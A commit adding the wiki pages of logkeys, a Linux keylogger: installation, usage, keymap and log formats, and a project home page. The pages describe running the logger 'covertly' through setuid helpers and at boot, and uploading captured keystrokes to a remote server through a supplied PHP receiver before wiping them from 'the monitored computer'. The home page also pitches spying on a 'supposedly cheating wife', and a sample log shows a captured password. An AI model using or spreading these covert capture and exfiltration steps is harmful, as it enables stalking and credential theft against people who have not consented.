Skip to content

L
logkeys
Commit 446f98bf authored by Google Code Exporter's avatar Google Code Exporter
Browse files
Options

Migrating wiki contents from Google Code

parents
Hide whitespace changes
Inline Side-by-side
Showing with 529 additions and 0 deletions
Documentation.md 0 → 100644
View file @ 446f98bf
<br />
<br />
---
# Licence #
logkeys is dual licensed under the terms of either [GNU GPLv3](http://www.gnu.org/licenses/gpl-3.0.html) or later (required by Google), or [WTFPLv2](http://sam.zoy.org/wtfpl/) or later. Pick whichever you prefer!
# Installation #
If you have ever installed a Linux program from source, then you should have no trouble installing logkeys.
If you haven't installed from source yet, it is likely you are missing a C++ compiler installed.
Before proceeding please ensure you have **g++** and "similarly trivial tools" ready.
```
$ sudo apt-get install g++ # to install g++ on a Debian-based OS
```
Proceed with
```
$ tar xvzf logkeys-0.1.1a.tar.gz # to extract the logkeys archive
$ cd logkeys-0.1.1a/build # move to build directory to build there
$ ../configure # invoke configure from parent directory
$ make # make compiles what it needs to compile
( become superuser now ) # you need root to install in system dir
$ make install # installs binaries, manuals and scripts
```
If you run on any errors during configure stage, your machine must be in a very poor shape. Before installing please confirm that you have a 2.6 branch of Linux kernel, and standard command line utilities such as **ps**, **grep**, and especially **dumpkeys**.
logkeys relies on **dumpkeys** to output at least half correct keysym bindings. For this to be true, you have to set your console keymap. If you have keyboard correctly set to your language in X, **verify that the same characters appear on a virtual terminal** (Ctrl+Alt+Fn) **also**.
[How to set console keymap?](http://www.google.com/search?q=how+to+set+console+keymap)
logkeys also relies on en\_US.UTF-8 locale being present on the system, or any other language using UTF-8. You can confirm you are using UTF-8 locale, if you say
```bash
$ locale -a
C
...
en_US.utf8
...
$ locale
LANG=en_US.UTF-8
LC_CTYPE="en_US.UTF-8"
...
```
If `locale -a` does not return among others the result en\_US.UTF-8 and if LC\_CTYPE environmental variable doesn't contain UTF-8, then logkeys may not work correctly.
If that is the case use either `locale-gen` or install/reconfigure your distribution's locales package, and there include en\_US.UTF-8.
```
$ apropos locale
```
<wiki:gadget up\_ad\_client="2900001379782823" up\_ad\_slot="3948022173" width="728" height="90" border="0" up\_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" />
# Usage how-to #
logkeys is simple. You can either invoke it directly, by typing full command line, or use the provided scripts. There are two helper programs in this package:
* bin/llk , which is intended to start the logkeys daemon, and
* bin/llkk , which is intended to kill it.
bin/llk runs **_etc/logkeys-start.sh_**, and bin/llkk runs **_etc/logkeys-kill.sh_**.
You can use these two **setuid root** programs (**llk** and **llkk**) for starting and stopping the keylogger quickly and covertly. You can modify the two .sh scripts as you like. As the programs are installed with setuid bit set, the root password need not be provided at their runtime.
Default log file is /var/log/logkeys.log and is not readable by others.
I suggest you first test the program manually with
```
$ touch test.log
$ logkeys --start --output test.log
```
and in the other terminal follow it with
```
$ tail --follow test.log
```
and see if the pressed keys match to those noted. If you use a US keyboard layout, use -u switch. Make sure your terminal character locale is set to UTF-8
```
$ locale
LANG=xx_YY.UTF-8
LC_CTYPE="xx_YY.UTF-8"
...
```
or alternatively, you need en\_US.UTF-8 locale available on your system
```
$ locale -a
...
en_US.UTF-8
...
```
otherwise you may only see odd characters (like ꑶ etc.) when pressing character keys.
logkeys acts as a daemon, and you stop the running logger process with
```
$ logkeys --kill
```
(or bin/llkk provided script).
Before using logkeys, please read the manual page first.
```
$ man logkeys
```
<wiki:gadget up\_ad\_client="2900001379782823" up\_ad\_slot="3948022173" width="728" height="90" border="0" up\_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" />
## Autorun at system start ##
If you want logkeys to autorun when your OS boots, you have several options.
You can edit _/etc/rc.local_ (or _/etc/rc.d/rc.local_) file and add logkeys execution line before the final `exit 0` call, e.g.
```
#!/bin/sh -e
#
# rc.local
#
logkeys --start --keymap=/home/I/custom_key.map --output=/home/I/custom.log --device=event4
exit 0
```
Alternatively, you can put your custom "logkeys execution line" into _etc/logkeys-start.sh_ file, and then use your desktop's "autorun manager" to run _llk_ program, which will then execute said _logkeys-start.sh_ script without prompting you for root/sudo password.
logkeys will automatically terminate on shutdown.
# Troubleshooting #
## Empty log file or 'Couldn't determine keyboard device' error ##
After you run logkeys successfully, if you open the log file and see only the 'Logging started...' and 'Logging stopped...' tag without any keypress "contents," it is very likely that logkeys got your device id wrong.
This may also apply if you get the following error:
```
logkeys: Couldn't determine keyboard device. :/
```
<table width='750'>
<tr><td valign='top'>
The solution is to determine the correct event device id, and then run logkeys with <b>--device</b> (-d) switch, specifying that device manually.<br>
<br>
The procedure for manually learning the device id to use is as follows:<br>
<br>
As root, for each existing device <i>eventX</i> in <i>/dev/input/</i>, where X is a number between 0 and 31 inclusively, write:<br>
<pre><code> $ cat /dev/input/eventX<br>
</code></pre>
then type some arbitrary characters. If you <b>see any output</b>, that is the <b>device to be used</b>. If you don't see any output, press Ctrl+C and continue with the next device.<br>
<br>
If this happened to be your issue, please <a href='http://code.google.com/p/logkeys/source/checkout'>checkout the latest version from the repository</a> where keyboard recognition is relatively better implemented. If error persists, <b>please add to bug report <a href='http://code.google.com/p/logkeys/issues/detail?id=42'>here</a></b>, attaching your <i>/proc/bus/input/devices</i> file as well as specifying which was the correct event id. Thanks.<br>
<br>
</td><td width='340px' valign='top'>
<wiki:gadget up_ad_client="2900001379782823" up_ad_slot="8733006390" width="336" height="280" border="0" up_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" /><br>
</td></tr>
</table>
## Logkeys outputs wrong characters ##
It is very likely that you will see only some characters recognized, without any hope for Shift and AltGr working even slightly correct, especially when starting logkeys in X. In that case it is better to switch to virtual terminal, e.g. tty4 (Ctrl+Alt+F4), and there execute:
```
$ logkeys --export-keymap=my_lang.map
```
Then open _my\_lang.map_ in UTF-8 enabled text editor and manually repair any missing or incorrectly determined mappings. Character keys are defined with two to three space-delimited characters per line (first without modifiers, second with shift, third with AltGr), and function keys are strings of **at most** 7 characters.
Make sure your customized keymap follows the [logkeys keymap format specification](Keymaps#Format.md)!
From then on, execute logkeys with **--keymap** switch, e.g.
```
$ logkeys --start --keymap my_lang.map
```
Again, see if it now works correctly (and character keys appear correct when you are viewing the log file in editor), and opt to modify _bin/llk_ starter script.
If you create full and completely valid keymap for your particular language,
please [upload it as a new issue](http://code.google.com/p/logkeys/issues/) or send it to me by e-mail. Thanks.
Some languages may already have [keymaps available](http://code.google.com/p/logkeys/wiki/Keymaps#Download).
# Known bugs and limitations #
Please report all found bugs on the [issues tracking page](http://code.google.com/p/logkeys/issues/).
# Planned features (roadmap) #
TODO file provided with release currently holds following demanded features:
* Add support for sending logs via email.
* Optionally log title of the focused window.
* Capture clipboard contents.
* Add support for mouse events (i.e. on mouse click the focus may have changed).
Depending on the amount of extra free time, these features shall be implemented in the foreseeable future.
If you have time on your hands and the required interest, you are welcome to hack at any of those or completely other features yourself.
Keymaps.md 0 → 100644
View file @ 446f98bf
<br />
&lt;hr/&gt;
If neither **--us-keymap** switch nor **--keymap** switch are used, then logkeys determines the keymap automatically with the help of **dumpkeys** command. For it to work even slightly reliably (mapping correct character), [console kernel keymap needs to be set](Documentation#Installation.md).
If you are using US layout keyboard and need default US keymap, run logkeys with **--us-keymap** switch.
# Format #
The keymap file is expected to be UTF-8 encoded.
Each line of file represents either one character key or one function key. The for‐
mat specifies at least two and up to three space-delimited characters on character
key lines (first character without modifiers, second with Shift in action, optional third with
AltGr in action), and up to 7 characters long string on function key lines.
The [keymap for Slovene keyboard layout](Keymaps#Download.md) (also Croatian) would look like:
(note, line numbers are printed for convenience only)
<table width='750px'>
<blockquote><tr>
<blockquote><td width='160' valign='top'>
<wiki:gadget up_ad_client="2900001379782823" up_ad_slot="4184917647" width="160" height="600" border="0" up_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" /><br>
</td>
<td valign='top'>
<pre><code> 1: &lt;Esc&gt;<br>
2: 1 ! ~<br>
3: 2 " ˇ<br>
4: 3 # ^<br>
5: 4 $ ˘<br>
6: 5 % °<br>
7: 6 &amp; ˛<br>
8: 7 / `<br>
9: 8 ( ˙<br>
10: 9 ) ´<br>
11: 0 = ˝<br>
12: ' ? ¨<br>
13: + * ¸<br>
14: &lt;BckSp&gt;<br>
15: &lt;Tab&gt;<br>
16: q Q \<br>
17: w W |<br>
18: e E €<br>
19: r R<br>
20: t T<br>
21: z Z<br>
22: u U<br>
23: i I<br>
24: o O<br>
25: p P<br>
26: š Š ÷<br>
27: đ Đ ×<br>
28: &lt;Enter&gt;<br>
29: &lt;LCtrl&gt;<br>
30: a A<br>
31: s S<br>
32: d D<br>
33: f F [<br>
34: g G ]<br>
35: h H<br>
36: j J<br>
37: k K ł<br>
38: l L Ł<br>
39: č Č<br>
40: ć Ć ß<br>
41: ¸ ¨<br>
42: &lt;LShft&gt;<br>
43: ž Ž ¤<br>
44: y Y<br>
45: x X<br>
46: c C<br>
47: v V @<br>
48: b B {<br>
49: n N }<br>
50: m M §<br>
51: , ; &lt;<br>
52: . : &gt;<br>
53: - _<br>
54: &lt;RShft&gt;<br>
55: &lt;KP*&gt;<br>
56: &lt;LAlt&gt;<br>
57:<br>
58: &lt;CpsLk&gt;<br>
59: &lt;F1&gt;<br>
60: &lt;F2&gt;<br>
61: &lt;F3&gt;<br>
62: &lt;F4&gt;<br>
63: &lt;F5&gt;<br>
64: &lt;F6&gt;<br>
65: &lt;F7&gt;<br>
66: &lt;F8&gt;<br>
67: &lt;F9&gt;<br>
68: &lt;F10&gt;<br>
69: &lt;NumLk&gt;<br>
70: &lt;ScrLk&gt;<br>
71: &lt;KP7&gt;<br>
72: &lt;KP8&gt;<br>
73: &lt;KP9&gt;<br>
74: &lt;KP-&gt;<br>
75: &lt;KP4&gt;<br>
76: &lt;KP5&gt;<br>
77: &lt;KP6&gt;<br>
78: &lt;KP+&gt;<br>
79: &lt;KP1&gt;<br>
80: &lt;KP2&gt;<br>
81: &lt;KP3&gt;<br>
82: &lt;KP0&gt;<br>
83: &lt;KP.&gt;<br>
84: &lt; &gt;<br>
85: &lt;F11&gt;<br>
86: &lt;F12&gt;<br>
87: &lt;KPEnt&gt;<br>
88: &lt;RCtrl&gt;<br>
89: &lt;KP/&gt;<br>
90: &lt;SysRq&gt;<br>
91: &lt;AltGr&gt;<br>
92: &lt;Break&gt;<br>
93: &lt;Home&gt;<br>
94: &lt;Up&gt;<br>
95: &lt;PgUp&gt;<br>
96: &lt;Left&gt;<br>
97: &lt;Right&gt;<br>
98: &lt;End&gt;<br>
99: &lt;Down&gt;<br>
100: &lt;PgDn&gt;<br>
101: &lt;Ins&gt;<br>
102: &lt;Del&gt;<br>
103: &lt;Pause&gt;<br>
104: &lt;LMeta&gt;<br>
105: &lt;RMeta&gt;<br>
106: &lt;Menu&gt;<br>
</code></pre>
</td>
</blockquote></tr>
</table>
How does one know which lines belong to character keys and which lines to function keys?</blockquote>
Well, the easiest way is to use **--export-keymap**, and examine the exported keymap.
Make sure you export in a virtual terminal (Ctrl+Alt+Fn) and not in X as this way there is higher chance of more keys getting exported correctly (don't ask me why).
Basically, **--export-keymap** ouputs 106 lines for 106 keys, even if some of those keys
aren't located on your keyboard. Lines 1, 14, 15, 28, 29, 42, 54-83, 85-106 belong
to function keys, all other lines (2-13, 16-27, 30-41, 43-53, 84) belong to character keys.
**Line 57 is reserved for Space** and it should always be ' '. Line 84 is reserved for
the key just right to left Shift that is present on some international layouts.
Other lines can be quite reliably determined by looking at one exported keymap. The
keys generally follow the order of their appearance on keyboard, top-to-bottom left-
to-right.
If you create full and completely valid keymap for your particular language, please
upload the contents as a [new issue](http://code.google.com/p/logkeys/issues/) or send it to my e-mail. Thanks!
When arranging your keymap file, you can help yourself with this [keyboard layout tool](http://msdn.microsoft.com/en-us/goglobal/bb964651.aspx) provided by Microsoft.
<wiki:gadget up\_ad\_client="2900001379782823" up\_ad\_slot="3948022173" width="728" height="90" border="0" up\_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" />
# Download #
Here are convenience keymap files provided that you can use. Be aware that using the keymap that matches your keyboard layout doesn't necessarily mean that all keys are covered or that the characters match to those that you type in – the keymap used by your system (loaded by **loadkeys** command for console, and **setxkbmap** command for X) may be set completely arbitrarily. In most cases, though, these should work fine.
(right-click "Save Target As...")
<table width='100%'>
<tr><td width='200px' valign='top'>
<ul><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/en_GB.map'>English (UK)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/fr_CH.map'>French (CH)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/fr.map'>French (FR)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/fr-dvorak-bepo.map'>French (Bepo keyboard)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/de.map'>German</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/hu.map'>Hungarian</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/it.map'>Italian</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/no.map'>Norwegian</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/pt_BR.map'>Portuguese (Brazil)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/pt_PT.map'>Portuguese (Portugal)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/ro.map'>Romanian</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/ru.map'>Russian</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/sk_QWERTY.map'>Slovak (QWERTY)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/sk_QWERTZ.map'>Slovak (QWERTZ)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/sl.map'>Slovene</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/es_AR.map'>Spanish (Argentina)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/es_ES.map'>Spanish (Spain)</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/sv.map'>Swedish</a>
</li><li><a href='http://wiki.logkeys.googlecode.com/git/keymaps/tr.map'>Turkish</a></li></ul>
</td><td width='310px' valign='top'>
<wiki:gadget up_ad_client="2900001379782823" up_ad_slot="9370746681" width="300" height="250" border="0" up_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" /><br>
</td></tr>
</table>
... (upload yours as a [new issue](http://code.google.com/p/logkeys/issues/))
You can easily create keymaps for your layout by taking one example and then modifying it with the help of [keyboard layout tool](http://msdn.microsoft.com/en-us/goglobal/bb964651.aspx) by Microsoft.
\ No newline at end of file
Logfiles.md 0 → 100644
View file @ 446f98bf
When no **--ouput** option is given, logkeys logs to default log file `/var/log/logkeys.log`.
# Format #
Log files are UTF-8 encoded.
Each logging session is enclosed in "`Logging started...`" and "`Logging stopped at`
`<timestamp>`" strings. Whenever Enter key (Return key) or Ctrl+C or Ctrl+D combination is pressed, a timestamp is appended on a new line (provided **--no-timestamps** is not in effect).
Timestamp format is "%F %T%z", which results in "YYYY-mm-dd HH:MM:SS+ZZZZ". Time‐
stamp is separated from the logged keys by one '>' symbol.
All character key presses are logged as they appear. All function key presses are
replaced with strings as obtained from [keymap file](Keymaps.md), or as hardcoded when no keymap file is provided.
If a key is pressed down long enough so it repeats, it is logged only once and then
"`<#+DD>`" is appended, which hints the key was repeated DD more times. DD is a decimal figure, which is not to be taken absolutely correct.
If a keypress results in keycode, which is not recognized (i.e. key not found on a standard US or Intl 105-key keyboard), then the string "`<E-XX>`" is appended, where
XX is the received keycode in hexadecimal format. All new "WWW", "E-Mail", "Vol‐
ume+", "Media", "Help", etc. keys will result in this error string.
Using US keyboard layout, one example log file could look like:
```
Logging started ...
2009-12-11 09:58:17+0100 > lkl
2009-12-11 09:58:20+0100 > sudo cp <RShift>~/foo.<Tab> /usr/bin
2009-12-11 09:58:26+0100 > <LShift>R00<LShift>T_p455\\/0rD
2009-12-11 09:58:39+0100 > <Up><Up><Home>sudo
2009-12-11 09:58:44+0100 > c<#+53><BckSp><#+34><LCtrl>c
2009-12-11 09:58:54+0100 > lklk
Logging stopped at 2009-12-11 09:58:54+0100
```
If the same log was obtained by a logkeys process invoked with **--no-func-keys** option, it would look like:
```
Logging started ...
2009-12-11 09:58:17+0100 > lkl
2009-12-11 09:58:20+0100 > sudo cp ~/foo. /usr/bin
2009-12-11 09:58:26+0100 > R00T_p455\\/0rD
2009-12-11 09:58:39+0100 > sudo
2009-12-11 09:58:44+0100 > c<#+53>c
2009-12-11 09:58:54+0100 > lklk
Logging stopped at 2009-12-11 09:58:54+0100
```
Even when **--no-func-keys** is in effect, Space and Tab key presses are logged as a
single space character.
<wiki:gadget up\_ad\_client="2900001379782823" up\_ad\_slot="3948022173" width="728" height="90" border="0" up\_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source,format" url="http://goo.gl/R5bvK" />
\ No newline at end of file
PostHTTP.md 0 → 100644
View file @ 446f98bf
# Post to HTTP #
A sample implementation:
1. Get some [PHP web hosting](http://www.google.com/search?q=free+web+hosting), get [domain name](http://GetFreeDomain-Site.co.cc/list).
1. Upload the following PHP script, name it "upload.php"
```
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK)
move_uploaded_file($file['tmp_name'], 'new.log');
}
?>
```
1. Run logkeys with `--post-http=http://your.doma.in/upload.php` and it will upload log to specified URL every once it reaches `--post-size` in size (default 500KB). Note, the script above will overwrite "new.log" file every time. Also note that once the log is successfully sent, it is wiped from the monitored computer.
<wiki:gadget up\_ad\_client="2900001379782823" up\_ad\_slot="3948022173" width="728" height="90" border="0" up\_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" />
\ No newline at end of file
ProjectHome.md 0 → 100644
View file @ 446f98bf
# logkeys Linux keylogger #
## Important announcement for Arch Linux users ##
logkeys was having an [issue on Arch Linux where it produced an empty log](http://code.google.com/p/logkeys/issues/detail?id=60). The issue is now fixed in the repository (fix found by **bytbox** from the Arch Linux community), so if you're on Arch (or you seem to experience this issue), please [checkout the source from git](http://code.google.com/p/logkeys/source/checkout).
## NEWS: logkeys version 0.1.1a (alpha) released ##
* fixed 100% CPU issue on x64
* various bug fixes
* removed pgrep dependency
* PID file now in /var/run/
* other symlink attack vulnerability fixes
* other security fixes
* code refactoring
* remote log uploading via HTTP
* lkl and lklk are now llk and llkk to avoid confusion
* llk and llkk are now programs that run logkeys-start.sh/-stop.sh scripts
* also recognize "HID" USB keyboard devices
* bug fixes
<wiki:gadget up\_ad\_client="2900001379782823" up\_ad\_slot="5408946622" width="728" height="90" border="0" up\_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" />
---
### What is logkeys? ###
**logkeys is a linux keylogger** (GNU/Linux systems only). It is no more advanced than other available linux keyloggers, but is a bit more up to date, it doesn't unreliably repeat keys and it should never crash your X. All in all, it just seems to work. It relies on event interface of the Linux input subsystem. Once set, it logs all common character and function keys, while also being fully aware of Shift and AltGr key modifiers. **It works with serial as well as USB keyboards**.
### What is a keylogger? ###
Keylogger is a software that quietly monitors keyboard input so as to log any keypresses the user makes. Keyloggers can be used by malicious attackers to sniff out passwords and other sensitive textual information, but often times the user himself (or the corporate branch) wants to monitor his computer unattended (or the employees), reliably storing any unauthorized keyboard activity for later inspection. For example, when you leave your PC just to grab a quick bite from the vending machine, you might want to know if anybody was touching it while you were gone. Or you could use it to monitor your supposedly cheating wife, or young kids while they are surfing the web. You could also use it to obtain statistics of your most pressed keys in order to create your custom Dvorak-style keyboard (I've seen that done). Perhaps you want EVERYTHING you've typed or written in the past months archived for ANY purpose... Uses are limitless.
### Are there alternative Linux keyloggers? ###
There is a plethora of keyloggers for Windows, but not so many for Linux.
On GNU/Linux systems and other reasonable operating systems, keyloggers can be easily implemented with a few lines of shell code. Novice users, however, are usually limited to a narrow set of the following tools: **[lkl](http://sourceforge.net/projects/lkl/)** from 2005, **[uberkey](http://gnu.ethz.ch/linuks.mine.nu/uberkey/)**, which appears dead, **[THC-vlogger](http://freeworld.thc.org/releases.php?q=vlogger)**, made by a renowned group of hackers, and **[PyKeylogger](http://pykeylogger.sourceforge.net/)**. All these tools have their pros and cons. Lkl, for example, sometimes abnormally repeats keys and [its keymap configuration is rather awkward](http://www.google.com/search?q=lkl+keymap) for a range of users. Uberkey, which is just over a hundred lines of code, also often repeats keys and what is worse, [it makes your mouse move abruptly](http://www.google.com/search?q=uberkey+mouse+problem), loosing any sense of control. PyKeylogger, on the other hand, while very feature rich, only works in X environment. Finally, there is vlogger, ...umm..., about which I cannot say anything specifically, only that it is receiving low score all around the web and it only logs shell sessions. There may be other tools, but either way **[logkeys](http://code.google.com/p/logkeys/downloads/)** definitely makes a simple and competitive addition.
<wiki:gadget up\_ad\_client="2900001379782823" up\_ad\_slot="3948022173" width="728" height="90" border="0" up\_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" />
### Does logkeys work with USB keyboards? ###
logkeys Linux keylogger works with serial as well as USB keyboards or similar "HID" devices. However, due to a [certain bug](http://code.google.com/p/logkeys/issues/detail?id=42), a [workaround](http://code.google.com/p/logkeys/wiki/Documentation#Empty_log_file_or_%27Couldn%27t_determine_keyboard_device&) is necessary on some setups.
### So what keyboards logkeys does work with? ###
logkeys supports keyboards like on the image below (courtesy of SEOConsultants.com). These are standard 101 to 105-key PC keyboards with no Asian extensions.<br />
<img src='http://wiki.logkeys.googlecode.com/git/images/keyboard.png' alt='104-key PC keyboard' />
<table width='750'>
<tr><td width='340' valign='top'>
<wiki:gadget up_ad_client="2900001379782823" up_ad_slot="8733006390" width="336" height="280" border="0" up_keywords="logkeys,gnu,linux,keylogger,keyboard,serial,usb,software,open-source" url="http://goo.gl/R5bvK" /><br>
</td><td valign='top'>
<font size='3'>So, you think this linux keylogger is for you?<br>
<br>
<a href='http://code.google.com/p/logkeys/downloads/'>Download logkeys</a> now.<br>
<br>
Or checkout a <a href='http://code.google.com/p/logkeys/source/checkout'>much newer version from SVN</a>.</font>
And before using it, <b>please read the <a href='Documentation.md'>documentation</a></b>! Thanks. :-)<br>
<br>
<hr />
<h3>SFW Distractions</h3>
If you want to <b>improve your programming skills</b>, <b>play</b> some of these <b><a href='http://educative-games.org'>educative programming games</a></b>.<br>
<br>
<b>How did these Google ads get here</b>?<br>
See <a href='http://code.google.com/p/gprojecthosting-adsense/'>Adsense for Google Code Hosting project</a>.<br>
<br>
</td></tr>
</table>
<font size='4'><b>Get <a href='http://www.getfreedomain.name'>Free Domain Name</a></b></font> (no ads, no referals, no hosting, no trick... free-for-all domains [click here](http://www.getfreedomain.name/))
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment